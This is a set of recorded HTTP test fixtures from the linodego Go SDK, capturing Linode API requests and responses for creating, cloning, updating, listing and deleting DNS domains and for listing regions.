- no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"domain":"linodego-domain-clone.com"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3163304/clone method: POST response: body: '{"id": 3163305, "type": "master", "domain": "linodego-domain-clone.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "353" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 15:25:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3163305 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 15:25:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3163304 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 15:25:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomain_Create.yaml000066400000000000000000000100701474652371000310000ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3041958, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3041958 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomain_Get.yaml000066400000000000000000000143401474652371000303200ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3041961, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3041961 method: GET response: body: '{"id": 3041961, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3041961 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomain_Update.yaml000066400000000000000000000144341474652371000310270ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3041959, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"domain":"linodego-renamed-domain.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3041959 method: PUT response: body: '{"id": 3041959, "type": "master", "domain": "linodego-renamed-domain.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "355" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3041959 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomain_ZoneFile_Get.yaml000066400000000000000000000136041474652371000321150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3041962, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3041962/zone-file method: GET response: body: '{"zone_file": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "17" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3041962 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomains_List.yaml000066400000000000000000000152721474652371000307040ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3041960, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains?page=1 method: GET response: body: '{"data": [{"id": 3041960, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}, {"id": 2956594, "type": "master", "domain": "example.clone-1713285844751924000-IntTestSDK.org", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "pathiel-test123@linode.com", "retry_sec": 0, "master_ips": ["127.0.0.1"], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "795" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3041960 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestEventPoller_InstancePower.yaml000066400000000000000000001533621474652371000334220ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", 